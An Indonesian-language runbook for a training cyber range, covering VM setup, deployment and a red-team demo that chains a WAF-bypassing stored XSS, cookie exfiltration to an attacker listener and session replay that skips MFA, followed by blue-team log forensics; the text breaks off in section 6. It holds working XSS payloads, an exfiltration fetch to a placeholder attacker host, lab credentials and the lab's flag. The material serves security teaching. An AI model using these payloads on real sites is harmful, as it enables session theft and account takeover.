

RUNBOOK — Menjalankan Lab “Cookies Reuse & MFA Bypass”

Panduan langkah-demi-langkah, dari nol (VM kosong) sampai demo Red Team & Blue Team selesai. Semua perintah sudah diuji di Docker 28.5 + Compose 2.40 di Kali/Debian.

```
REPO    : ~/naulidata-cyberrange
WEB      : http://<VM-IP>:3075
SSH      : analyst@<VM-IP> -p 2275    (password: blue_team_rocks)
LOG      : /opt/admin/logs/{access.log,error.log}
ADMIN    : admin / Adm1n@Feedback2026  (MFA: 123456)
```

Isi: 0. Prasyarat 1. Buat VM di Proxmox 2. Pindahkan repo ke VM 3. Deploy lab (otomatis) 4. Verifikasi (self-test 20 cek) 5. Demo Red Team (XSS -> replay -> MFA bypass) 6. Demo Blue Team (forensik log) 7. Teardown / reset 8. Troubleshooting

```
=====
==== 0. PRASYARAT
=====
=====
```

Di VM (target lab): - Linux (Debian 12 / Ubuntu 22.04 / 24.04) - Docker Engine + Docker Compose plugin (provision.sh meng-install kalau belum ada) - Python 3 (untuk seeder log) - Akses root/sudo

Di komputer penyerang/demo (Kali): - curl, python3 (untuk exfil server & script exploit) - SSH client (ssh / sshpass)

Spesifikasi VM yang disarankan: - 2 vCPU, 4 GB RAM, 20 GB disk - Ruang kosong ~8 GB untuk image Docker (image bot menarik Chromium)

```
=====
==== 1. BUAT VM DI PROXMOX
=====
=====
```

1.1 Di Proxmox: klik “Create VM”.

1.2 General Name : cyberrange (ID biarkan default)

1.3 OS ISO image : Debian 12 (netinst) atau Ubuntu Server 22.04/24.04
Type : Linux Version : 6.x - 2.6 Kernel

1.4 System BIOS : SeaBIOS (default) atau OVMF kalau boot UEFI Disk
controller : VirtIO SCSI single (lebih cepat)

1.5 Disks Disk size : 20 GB Storage : pilih storage Proxmox Anda

1.6 CPU Cores : 2

1.7 Memory Memory : 4096 MB

1.8 Network Model : VirtIO (paravirtualized) Bridge : vmbr0

1.9 Start VM -> install Debian/Ubuntu seperti biasa (minimal install,
tanpa GUI).

1.10 Setelah OS terpasang, login sebagai user dengan sudo, lalu catat
IP-nya:

```
ip -4 addr show | grep inet
# contoh: 192.168.1.50 -> ini <VM-IP> yang dipakai di seluruh
runbook
```

```
=====
==== 2. PINDAHKAN REPO KE VM
=====
=====
```

Pilih salah satu cara.

– Cara A: Git (aman, kalau repo sudah di GitHub/GitLab) —————
Di VM: sudo apt-get update && sudo apt-get install -y git git clone
<https://github.com/iduy01/naulidata-cyberrange.git> cd naulidata-
cyberrange

– Cara B: SCP dari komputer Anda ————— Dari
komputer Anda: scp -r ~/naulidata-cyberrange user@:/home/user/

– Cara C: Arsip tar ————— Dari
komputer Anda: tar czf naulidata-cyberrange.tar.gz -C ~ naulidata-
cyberrange scp naulidata-cyberrange.tar.gz user@:~/ Di VM: tar xzf
naulidata-cyberrange.tar.gz && cd naulidata-cyberrange

Verifikasi isi repo:

```
ls -la
# harus ada: application/ docker/ scripts/ exploit/ walkthrough/
logs-sample/
#          README.md CODE-REPOSITORY.md PROXM0X-DEPLOY.md
ANSWER-KEY.md
```

```
=====
==== 3. DEPLOY LAB (otomatis)
=====
=====
```

Jalankan SATU perintah ini (butuh root). Dia akan: meng-install Docker (kalau belum ada), membuat /opt/admin/logs, menambah entri DNS feedback.admin.local, build + start semua container, lalu meng-seed log skenario.

```
cd ~/naulidata-cyberange
sudo bash scripts/provision.sh
```

Output akhir yang diharapkan:

```
=====
Cyber Range is UP
-----
Web (vulnerable app) : http://<VM-IP>:3075
Internal name       : http://feedback.admin.local:3075
Blue Team SSH       : ssh analyst@<VM-IP> -p 2275 (pw:
blue_team_rocks)
Logs (Blue Team)    : /opt/admin/logs/access.log /opt/admin/
logs/error.log
=====
```

– Deploy MANUAL (kalau tidak mau pakai provision.sh)

```
sudo mkdir -p /opt/admin/logs
docker compose -f docker/docker-compose.yml up -d --build
docker compose -f docker/docker-compose.yml exec -T app python3 /
usr/src/app/scripts/inject_logs.py --dir /opt/admin/logs --clear
```

– Cek container sudah naik —————

```
docker ps --format '{{.Names}}\t{{.Status}}\t{{.Ports}}' | grep
cyberange
```

Harus terlihat:

```
cyberange-app      Up      0.0.0.0:3075->3075/tcp
cyberange-sshd     Up      0.0.0.0:2275->2222/tcp
cyberange-bot      Up      (tanpa port, internal)
```

CATATAN: build pertama kali butuh ~3-5 menit karena image bot mengunduh Chromium. Kalau container bot masih “restarting”, tunggu 1-2 menit lagi.

```
=====
==== 4. VERIFIKASI (self-test)
=====
=====
```

Jalankan self-test otomatis (20 pemeriksaan):

```
bash scripts/verify.sh
```

Hasil yang diharapkan: “== RESULT: 20 passed, 0 failed ==”

Cek manual cepat:

```
# header backend bocor
curl -i http://127.0.0.1:3075/ | grep -i x-powered-by
# X-Powered-By: Node.js (Express)

# robots.txt
curl -s http://127.0.0.1:3075/robots.txt
# Disallow: /api/verify-mfa / Disallow: /dashboard

# WAF memblokir <script>
curl -o /dev/null -w '%{http_code}\n' -X POST http://
127.0.0.1:3075/api/feedback \
  --data-urlencode 'message=<script>alert(1)</script>'
# 403

# WAF bypass diterima
curl -o /dev/null -w '%{http_code}\n' -X POST http://
127.0.0.1:3075/api/feedback \
  --data-urlencode "message=<svg onload=\"fetch('http://
x/' +window['docu'+ 'ment'] ['coo'+ 'kie'])\">"
# 200

# log bisa dibaca Blue Team
ssh analyst@127.0.0.1 -p 2275 'ls -la /opt/admin/logs'
```

```
=====
==== 5. DEMO RED TEAM (XSS -> cookie replay -> MFA bypass)
=====
=====
```

Butuh 2 terminal di komputer penyerang. Ganti dengan IP VM target.

— TERMINAL 1 : listener exfil —————

```
python3 exploit/exfil_server.py --port 8899
```

(alternatif tanpa script)

```
nc -lvnp 8899
```

— TERMINAL 2 : jalankan rantai serangan —————

5.1 Recon — konfirmasi fingerprint & jalur tersembunyi

```
curl -i http://<VM-IP>:3075/ | grep -iE 'x-powered-by|set-cookie'
curl -s http://<VM-IP>:3075/robots.txt
```

5.2 Buktikan WAF memblokir payload standar

```
curl -i -X POST http://<VM-IP>:3075/api/feedback \
  --data-urlencode 'author=tester' \
  --data-urlencode 'message=<script>alert(1)</script>'
# HTTP/1.1 403 Forbidden
```

5.3 Kirim payload bypass (stored XSS)

```
curl -i -X POST http://<VM-IP>:3075/api/feedback \
  --data-urlencode 'author=pwn' \
  --data-urlencode "message=<svg onload=\"fetch('http://<IP-
ATTACKER>:8899/?c='+encodeURIComponent(window['docu'+'ment']
['coo'+'kie']))\">"
# HTTP/1.1 200 OK
```

PENTING (kalau menjalankan semuanya di dalam Docker satu host):
ganti <IP-ATTACKER> dengan host.docker.internal supaya bot
bisa

menjangkau listener Anda:

```
fetch('http://host.docker.internal:8899/?c='+...)
```

5.4 Tunggu bot admin membuka dashboard (siklus ~20 detik). Di TERMINAL 1 akan muncul:

```
[+] STOLEN COOKIE: pre_mfa_session=pending_mfa_verification;
adm_sess=adm_sess_<hex>
```

5.5 Replay cookie yang dicuri (tanpa MFA sama sekali)

```
TOKEN=$(grep -oE 'adm_sess_[a-f0-9]+' captured_cookies.txt | head
-1)
curl -s -b "adm_sess=$TOKEN" http://<VM-IP>:3075/dashboard \
  | grep -oE 'SCENARIO075\[^[^]+\]'
# SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}
```

— OTOMATIS (alternatif one-shot) —————

```
python3 exploit/red_team_exploit.py \  
--target http://127.0.0.1:3075 \  
--attacker http://host.docker.internal:8899
```

— VARIAN BROWSER (untuk presentasi visual) —

- 1) Buka `http://<VM-IP>:3075/` -> submit payload langkah 5.3.
- 2) Tunggu bot admin review (atau login manual admin/ Admin@Feedback2026 + MFA 123456 lalu buka /dashboard).
- 3) Baca cookie di listener, set di browser:
DevTools -> Application -> Cookies -> adm_sess = <token curian>.
- 4) Buka `http://<VM-IP>:3075/dashboard` -> final flag tampil di atas.

```
=====
```

==== 6. DEMO BLUE TEAM (forensik log)

```
=====
```

====

```
ssh analyst@<VM-IP> -p 2275 # password: blue_team_rocks
```

CATATAN LOG HYGIENE — WAJIB DIBACA SEBELUM 6.3 App menulis trafik LIVE ke file yang sama. Kalau demo Red (bagian 5) sudah jalan, access.log jadi ratusan baris (bot admin refresh /dashboard tiap ~20 detik) sehingga `grep '/dashboard' | grep ' 200 '` nyembur noise. Dua cara aman: (a) batasi ke IP penyerang (selalu bersih 6 baris) — dipakai di 6.3, atau (b) re-seed dulu supaya narasi kembali bersih: `docker compose -f docker/docker-compose.yml exec -T app python3 /usr/src/app/scripts/inject_logs.py --dir /opt/admin/logs --clear` Urutan demo yang disarankan: Red dulu -> re-seed -> Blue di log bersih.

6.1 Lokasi log

```
ls -la /opt/admin/logs
```

6.2 Jejak penyerang

```
grep '10.10.14.50' /opt/admin/logs/access.log
```

6.3 Akses dashboard yang sukses (200) pada 18:51:55

```
grep '10.10.14.50' /opt/admin/logs/access.log | grep '/dashboard'  
| grep ' 200 '
```

6.4 Header eksfiltrasi (Base64) di X-Forwarded-For

```
grep -o 'xff=[A-Za-z0-9+/=]*' /opt/admin/logs/access.log | sort  
-u
```

6.5 Baseline traffic admin sah

```
awk '{print $1}' /opt/admin/logs/access.log | sort | uniq -c |  
sort -rn
```

6.6 Blokir WAF pertama (